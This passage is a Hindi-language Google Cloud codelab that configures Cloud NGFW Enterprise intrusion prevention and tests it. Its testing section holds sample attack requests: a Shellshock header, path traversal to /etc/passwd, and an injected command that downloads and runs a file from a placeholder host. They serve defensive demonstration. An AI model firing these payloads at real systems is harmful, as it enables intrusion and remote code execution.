Cloud NGFW Enterprise - घुसपैठ रोकथाम सेवा (टीएलएस की जांच के बिना)

1. परिचय

क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू)

Cloud Next Generation Firewall, पूरी तरह से डिस्ट्रिब्यूट की गई फ़ायरवॉल सेवा है. इसमें बेहतर सुरक्षा की सुविधाएं, माइक्रो-सेगमेंटेशन, और बेहतर कवरेज शामिल है. इससे आपके Google Cloud वर्कलोड को अंदरूनी और बाहरी हमलों से बचाया जा सकता है.

क्लाउड एनजीएफ़डब्ल्यू के ये फ़ायदे हैं:

  • डिस्ट्रिब्यूटेड फ़ायरवॉल सेवा: Cloud NGFW, हर वर्कलोड पर स्टेटफ़ुल और पूरी तरह से डिस्ट्रिब्यूटेड होस्ट-आधारित एनफ़ोर्समेंट उपलब्ध कराता है. इससे, शून्य-भरोसे वाले सुरक्षा आर्किटेक्चर को चालू किया जा सकता है.
  • आसानी से कॉन्फ़िगर और डिप्लॉय किया जा सकता है: Cloud NGFW, नेटवर्क और हैरारकी वाली फ़ायरवॉल नीतियां लागू करता है. इन्हें संसाधन हैरारकी नोड से अटैच किया जा सकता है. ये नीतियां, Google Cloud के संसाधनों की हैरारकी में फ़ायरवॉल का एक जैसा अनुभव देती हैं.
  • बेहतर कंट्रोल और माइक्रो-सेगमेंटेशन: फ़ायरवॉल की नीतियों और पहचान और ऐक्सेस मैनेजमेंट (IAM) से मैनेज किए जाने वाले टैग के कॉम्बिनेशन से, वर्चुअल प्राइवेट क्लाउड (वीपीएन) नेटवर्क और संगठनों में, नॉर्थ-साउथ और ईस्ट-वेस्ट, दोनों तरह के ट्रैफ़िक को बेहतर तरीके से कंट्रोल किया जा सकता है. यह कंट्रोल, एक वीएम तक किया जा सकता है.

Cloud NGFW इन टीयर में उपलब्ध है:

Cloud NGFW Enterprise

Cloud NGFW Enterprise, डिस्ट्रिब्यूटेड Google Cloud फ़ायरवॉल फ़ैब्रिक में इनट्रूज़न प्रिवेंशन सर्विस (आईपीएस) जोड़ता है. यह लेयर 7 की सुविधा है. टीएलएस की मदद से एन्क्रिप्ट किए गए ट्रैफ़िक की जांच करने के लिए, टीएलएस की जांच की सुविधा काम करती है. हालांकि, यह इस कोडलैब के दायरे से बाहर है. टीएलएस की जांच की सुविधा वाले Cloud NGFW एंटरप्राइज़ कोडलैब देखें.

अब अपने नेटवर्क आर्किटेक्चर या रूटिंग कॉन्फ़िगरेशन में कोई बदलाव किए बिना, बेहतर कंट्रोल के साथ लेयर 7 नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू) की जांच की जा सकती है.

आईपीएस के साथ लेयर 7 फ़ायरवॉल कंट्रोल को चालू और डिप्लॉय करने के लिए, आपको ये काम करने होंगे:

  • Google Cloud के मैनेज किए जा रहे ज़ोनल फ़ायरवॉल एंडपॉइंट का सेट बनाएं.
  • इसके अलावा, TLS जांच की नीति बनाएं (इस कोडलैब में शामिल नहीं है)
  • इसके अलावा, ट्रस्ट कॉन्फ़िगरेशन भी बनाया जा सकता है. हालांकि, इस कोडलैब में इस बारे में नहीं बताया गया है
  • इन एंडपॉइंट को उन वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क से जोड़ें जहां आपको Cloud NGFW Enterprise सेवा की ज़रूरत है.
  • अलग-अलग ट्रैफ़िक पाथ के लिए, खतरे से बचाव करने वाली प्रोफ़ाइलों की जानकारी देने के लिए, अपनी मौजूदा फ़ायरवॉल नीतियों और फ़ायरवॉल नियमों में आसान बदलाव करें.

नेटवर्क फ़ायरवॉल से जुड़ी नीतियां

नेटवर्क फ़ायरवॉल की नीति, फ़ायरवॉल के नियमों के लिए कंटेनर के तौर पर काम करती है. नेटवर्क फ़ायरवॉल नीति में तय किए गए नियम तब तक कहीं भी लागू नहीं होते, जब तक कि नीति किसी वीपीएन नेटवर्क से जुड़ी न हो. हर VPC नेटवर्क के साथ, एक नेटवर्क फ़ायरवॉल नीति जुड़ी हो सकती है. नेटवर्क फ़ायरवॉल की नीतियां, फ़ायरवॉल के नियमों में IAM से मैनेज किए जाने वाले टैग (या सिर्फ़ टैग) के साथ काम करती हैं. ये मौजूदा नेटवर्क टैग की जगह ले लेते हैं और इनका इस्तेमाल, वर्कलोड को पहचान देने के लिए किया जा सकता है.

सभी नेटवर्क पर नेटवर्क फ़ायरवॉल की नीति शेयर करने और IAM से मैनेज किए जाने वाले टैग के साथ इंटिग्रेट करने से, फ़ायरवॉल को कॉन्फ़िगर और मैनेज करना काफ़ी आसान हो जाता है.

नेटवर्क फ़ायरवॉल नीति के लागू होने के बाद, Google Cloud की फ़ायरवॉल नीतियां में अब ये कॉम्पोनेंट शामिल हैं:

  1. हियरार्की वाली फ़ायरवॉल नीति
  2. VPC फ़ायरवॉल के नियम
  3. नेटवर्क फ़ायरवॉल की नीति ( ग्लोबल और रीजनल)

हैरारकी वाली फ़ायरवॉल नीतियां, संसाधन की हैरारकी में संगठन और फ़ोल्डर नोड पर काम करती हैं. वहीं, VPC फ़ायरवॉल के नियम और नेटवर्क फ़ायरवॉल की नीतियां, VPC लेवल पर लागू होती हैं. VPC फ़ायरवॉल के नियमों और नेटवर्क फ़ायरवॉल की नीतियों के बीच का बड़ा अंतर यह है कि VPC फ़ायरवॉल के नियम सिर्फ़ एक VPC नेटवर्क पर लागू किए जा सकते हैं. वहीं, नेटवर्क फ़ायरवॉल की नीतियां, एक VPC या VPC के ग्रुप से जुड़ी जा सकती हैं. साथ ही, इनसे बैच अपडेट जैसे अन्य फ़ायदे भी मिलते हैं.

आखिर में, हमारे पास ऐसे फ़ायरवॉल नियम भी हैं जो हर VPC नेटवर्क के साथ आते हैं:

  • ऐसा एग्ज़िट रूल जिसकी कार्रवाई 'अनुमति दें' है और डेस्टिनेशन 0.0.0.0/0 है
  • ऐसा इनग्रेस नियम जिसकी कार्रवाई 'अस्वीकार करें' है और सोर्स 0.0.0.0/0 है

नीति उल्लंघन ठीक करने का क्रम, डिफ़ॉल्ट रूप से इस डायग्राम में दिखाया गया है:

21b3bcabc469ffe.png

कृपया ध्यान दें कि VPC फ़ायरवॉल के नियमों और ग्लोबल नेटवर्क फ़ायरवॉल नीति के बीच, लागू करने के क्रम को बदला जा सकता है. ग्राहक, gcloud कमांड की मदद से, किसी भी समय नीति उल्लंघन ठीक करने का आदेश दे सकते हैं.

IAM से मैनेज किए जाने वाले टैग

नेटवर्क फ़ायरवॉल नीति के नियमों में इंटिग्रेट किए गए नए टैग, की-वैल्यू पेयर वाले ऐसे रिसॉर्स हैं जिन्हें Google Cloud के रिसॉर्स के लेआउट में, संगठन या प्रोजेक्ट-लेवल पर तय किया जाता है. इस तरह के टैग में IAM ऐक्सेस कंट्रोल होता है. नाम से पता चलता है कि टैग पर कौन क्या कर सकता है. उदाहरण के लिए, IAM अनुमतियों की मदद से यह तय किया जा सकता है कि कौनसे प्रिंसिपल, टैग को वैल्यू असाइन कर सकते हैं और कौनसे प्रिंसिपल, रिसॉर्स में टैग अटैच कर सकते हैं. किसी संसाधन पर टैग लागू होने के बाद, नेटवर्क फ़ायरवॉल के नियम इसका इस्तेमाल करके, ट्रैफ़िक को अनुमति दे सकते हैं और उसे रोक सकते हैं.

टैग, Google Cloud के इनहेरिटेंस रिसॉर्स मॉडल का पालन करते हैं. इसका मतलब है कि टैग और उनकी वैल्यू, पैरंट से हैरारकी में नीचे की ओर भेजी जाती हैं. इस वजह से, टैग एक ही जगह पर बनाए जा सकते हैं और फिर संसाधनों की हैरारकी में मौजूद अन्य फ़ोल्डर और प्रोजेक्ट में उनका इस्तेमाल किया जा सकता है. टैग और ऐक्सेस से जुड़ी पाबंदी के बारे में जानने के लिए, इस पेज पर जाएं.

टैग को नेटवर्क टैग से अलग रखना चाहिए. बाद वाली स्ट्रिंग, Compute Engine इंस्टेंस में जोड़ी जा सकती हैं. ये इंस्टेंस से जुड़ी होती हैं और इंस्टेंस बंद होने पर हट जाती हैं. VPC फ़ायरवॉल के नियमों में नेटवर्क टैग शामिल हो सकते हैं. हालांकि, इन्हें क्लाउड संसाधन नहीं माना जाता है. इसलिए, इन पर IAM ऐक्सेस कंट्रोल लागू नहीं होता.

ध्यान दें कि इस दस्तावेज़ में, टैग और IAM से मैनेज किए जाने वाले टैग का इस्तेमाल एक-दूसरे की जगह किया जा रहा है.

आपको क्या बनाना है

इस कोडलैब के लिए, एक प्रोजेक्ट और सार्वजनिक कनेक्टिविटी वाला VPC नेटवर्क बनाने की ज़रूरत होती है. साथ ही, इसमें यह भी बताया जाएगा कि Cloud NGFW Enterprise, आईपीएस की सुविधा कैसे दे सकता है:

  • VPC/सबनेट के अंदर के फ़्लो की जांच करना [ईस्ट-वेस्ट]
  • इंटरनेट से आने वाले इनग्रेस फ़्लो की जांच करना [नॉर्थ-साउथ]

जिन फ़्लो की जांच करनी है उन्हें Cloud Firewall के मैचिंग पैरामीटर का इस्तेमाल करके चुना जाएगा. इन पैरामीटर में, पांच ट्यूपल (सोर्स आईपी, डेस्टिनेशन आईपी, प्रोटोकॉल, सोर्स पोर्ट, डेस्टिनेशन पोर्ट) और टैग शामिल हैं. इस कोडलैब में TLS जांच शामिल नहीं है.

52a0642ef8668ecf.png

नेटवर्क फ़ायरवॉल की नीति का नियमों का आधार, नीचे दी गई टेबल जैसा होगा:

प्राथमिकता

दिशा

Target

सोर्स

डेस्टिनेशन

कार्रवाई

स्ट्रीम किस तरह की है

100

इग्रेस डेटा ट्रैफ़िक

Quarantine_Tag

कोई भी

कोई भी

अस्वीकार करें

इन्हें ज़रूर आज़माएं

1000

इन्ग्रेस डेटा ट्रैफ़िक

Server_Tag

परफ़ॉर्मेंस की जांच की रेंज

कोई भी

अनुमति दें

इन्हें ज़रूर आज़माएं

2000

इन्ग्रेस डेटा ट्रैफ़िक

कोई भी

Identity-Aware Proxy की रेंज

कोई भी

अनुमति दें

इन्हें ज़रूर आज़माएं

3000

इन्ग्रेस डेटा ट्रैफ़िक

कोई भी

Geo, GCTI

कोई भी

अस्वीकार करें

स्टैंडर्ड मोड

4000

इग्रेस डेटा ट्रैफ़िक

कोई भी

कोई भी

Geo, GCTI

अस्वीकार करें

स्टैंडर्ड मोड

5000

इग्रेस डेटा ट्रैफ़िक

कोई भी

कोई भी

सिस्टम अपडेट के एफ़क्यूडीएन

अनुमति दें

स्टैंडर्ड मोड

6000

इन्ग्रेस डेटा ट्रैफ़िक

Server_Tag

10.0.0.0/24

कोई भी

IPS

एंटरप्राइज़

7000

इन्ग्रेस डेटा ट्रैफ़िक

Server_Tag

CloudNAT_IP

कोई भी

IPS

एंटरप्राइज़

आपको इनके बारे में जानकारी मिलेगी

आपको इन चीज़ों की ज़रूरत होगी

  • Google Cloud प्रोजेक्ट
  • इंस्टेंस डिप्लॉय करने और नेटवर्किंग कॉम्पोनेंट कॉन्फ़िगर करने के बारे में जानकारी
  • VPC फ़ायरवॉल कॉन्फ़िगरेशन के बारे में जानकारी

2. शुरू करने से पहले

वैरिएबल बनाना/अपडेट करना

इस कोडलैब में, Cloud Shell में gcloud कॉन्फ़िगरेशन लागू करने में मदद करने के लिए, $variables का इस्तेमाल किया गया है.

Cloud Shell में, ब्रैकेट में दी गई जानकारी को ज़रूरत के मुताबिक बदलकर, नीचे दिए गए निर्देश चलाएं. अगर आपका पसंदीदा प्रोजेक्ट पहले से सेट है, तो उसे सेट करने की प्रक्रिया को छोड़ दें. अगर फ़ायरवॉल के कई एंडपॉइंट की ज़रूरत है, तो संगठन-लेवल के संसाधनों के लिए किसी दूसरे वैरिएबल का इस्तेमाल किया जाता है.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. एपीआई चालू करें

अगर आपने एपीआई चालू नहीं किए हैं, तो उन्हें चालू करें:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW एंटरप्राइज़ सिक्योरिटी प्रोफ़ाइल और एंडपॉइंट बनाना

Cloud NGFW Enterprise एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं. इसलिए, इसे पहले बनाया जाएगा. साथ ही, एंडपॉइंट बनने के दौरान, बुनियादी सेटअप भी किया जा सकता है.

सुरक्षा प्रोफ़ाइल और सुरक्षा प्रोफ़ाइल ग्रुप बनाएं:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

अनुमानित आउटपुट:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

पुष्टि करें कि संसाधन सही तरीके से बनाए गए हैं:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

अनुमानित आउटपुट:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Cloud NGFW एंटरप्राइज़ एंडपॉइंट बनाएं:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

एंडपॉइंट बनने की पुष्टि करने के लिए, नीचे दिया गया निर्देश चलाएं (स्टेटस: बनाया जा रहा है).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से आउटपुट फ़ॉर्मैट अलग-अलग हो सकता है):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

ज़्यादा जानकारी पाने के लिए, नीचे दिया गया कमांड चलाएं:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

अनुमानित आउटपुट:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

एंडपॉइंट बनाने की प्रोसेस में करीब 20 मिनट लगते हैं. एक साथ ज़रूरी संसाधन बनाने के लिए, बेस सेटअप सेक्शन पर जाएं.

5. बुनियादी सेटअप

अगर आपको बुनियादी संसाधन मैन्युअल तरीके से बनाने हैं, तो नीचे दिए गए सेक्शन पर जाएं.

VPC नेटवर्क और सबनेट

VPC नेटवर्क और सबनेट

VPC नेटवर्क और सबनेट बनाएं:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

क्लाउड एनएटी

क्लाउड राउटर और क्लाउड एनएटी गेटवे बनाएं:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

nstances

क्लाइंट और वेब-सर्वर इंस्टेंस बनाएं:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

प्रोजेक्ट-लेवल के टैग

ज़रूरत पड़ने पर, उपयोगकर्ता को tagAdmin और/या tagUser की अनुमतियां असाइन करें:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

प्रोजेक्ट-लेवल की टैग कुंजी और वैल्यू बनाएं:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

टैग को इंस्टेंस से बांधना:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

ग्लोबल नेटवर्क फ़ायरवॉल से जुड़ी नीति

ग्लोबल नेटवर्क फ़ायरवॉल नीति बनाएं:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

क्वॉरंटीन किए गए इंस्टेंस (सिर्फ़ उदाहरण के तौर पर बनाए गए, इस कोडलैब में इस्तेमाल नहीं किए जा रहे) से आने वाले ट्रैफ़िक को रोकने और हेल्थ-चेक और आइडेंटिटी-अवेयर प्रॉक्सी रेंज से आने वाले ट्रैफ़िक को अनुमति देने के लिए, Cloud फ़ायरवॉल के ज़रूरी नियम बनाएं:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

पाबंदी वाले देशों, नुकसान पहुंचाने वाले आईपी पतों, और टोर (अनजान नेटवर्क) के एग्ज़िट नोड से आने वाले और उनमें जाने वाले ट्रैफ़िक को रोकने के लिए, क्लाउड फ़ायरवॉल के स्टैंडर्ड नियम बनाएं. साथ ही, सिस्टम अपडेट के लिए सिर्फ़ चुनिंदा एफ़क्यूडीएन को जाने वाले ट्रैफ़िक की अनुमति दें. यह सिर्फ़ उदाहरण के तौर पर बनाया गया है. इसका इस्तेमाल इस कोडलैब में नहीं किया जा रहा है:

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

क्लाउड फ़ायरवॉल के नियम बनाएं, ताकि खास रेंज से ईस्ट-वेस्ट / इंटर-सबनेट और नॉर्थ-साउथ / इंटरनेट ट्रैफ़िक को इन्ग्रेस की अनुमति दी जा सके. Cloud NGFW Enterprise को चालू करने के लिए, इन नियमों को अपडेट किया जाएगा:

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

नेटवर्क फ़ायरवॉल नीति को VPC नेटवर्क से जोड़ें:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

एक्सटर्नल टीसीपी/यूडीपी नेटवर्क लोड बैलेंसर

कोई एक्सटर्नल आईपी पता रिज़र्व करें और इंस्टेंस ग्रुप और हेल्थ चेक बनाएं:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

बैकएंड सेवा और फ़ॉरवर्ड करने का नियम बनाएं:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW Enterprise Endpoint Association

अगर ज़रूरी हो, तो एनवायरमेंट वैरिएबल फिर से तय करें.

पुष्टि करें कि Cloud Firewall एंडपॉइंट बनाने की प्रोसेस पूरी हो गई है. सिर्फ़ तब आगे बढ़ें, जब स्थिति चालू है के तौर पर दिखे. खाता बनाने के दौरान, स्थिति बनाया जा रहा है के तौर पर दिखती है:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट का फ़ॉर्मैट अलग-अलग हो सकता है):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

ज़्यादा जानकारी पाने के लिए, नीचे दिया गया कमांड चलाएं:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

अनुमानित आउटपुट:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Cloud NGFW एंटरप्राइज़ एंडपॉइंट को VPC नेटवर्क से असोसिएट करें:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

खाते को जोड़ने में करीब 10 मिनट लगते हैं. सिर्फ़ तब आगे बढ़ें, जब स्थिति चालू है के तौर पर दिखे. खाता बनाने की प्रोसेस के दौरान, स्थिति बनाया जा रहा है के तौर पर दिखती है:

gcloud network-security firewall-endpoint-associations list

अनुमानित आउटपुट:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

ज़्यादा जानकारी पाने के लिए, नीचे दिया गया कमांड चलाएं:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

अनुमानित आउटपुट:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Cloud NGFW एंटरप्राइज़ इंस्पेक्शन रूल

नया टैब खोलें और IAP के ज़रिए क्लाइंट वीएम से एसएसएच कनेक्शन शुरू करें. इसके लिए, आपको नए टैब में वैरिएबल फिर से तय करने होंगे:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

एसएसएच सेशन में ज़रूरी वैरिएबल तय करें और वैरिएबल सेट करें. पक्का करें कि वैल्यू सही हों:

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

दोनों आईपी को ऐक्सेस किया जा सकता है, इसकी पुष्टि करने के लिए, दोनों आईपी को कर्ल करें:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

दोनों curl अनुरोधों के लिए अनुमानित नतीजा:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

इंटरनल सर्वर आईपी (ईस्ट-वेस्ट / इंट्रा-वीपीसी ट्रैफ़िक) पर हमले के सैंपल भेजें. वेब सर्वर को सभी अनुरोधों का जवाब देना चाहिए. इससे यह पुष्टि होती है कि L7 जांच/रोकथाम की सुविधा चालू नहीं है:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Cloud NAT (नॉर्थ-साउथ इनबाउंड ट्रैफ़िक) की मदद से, बाहरी सर्वर आईपी पर सैंपल अटैक फिर से भेजें. इसी तरह, वेब सर्वर को सभी अनुरोधों का जवाब देना चाहिए:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

सार्वजनिक और निजी, दोनों तरह के आईपी के लिए मिलने वाले नतीजे:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Cloud Shell पर वापस जाएं और L7 जांच की सुविधा चालू करने के लिए, मौजूदा इनग्रेस नियमों को अपडेट करें:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
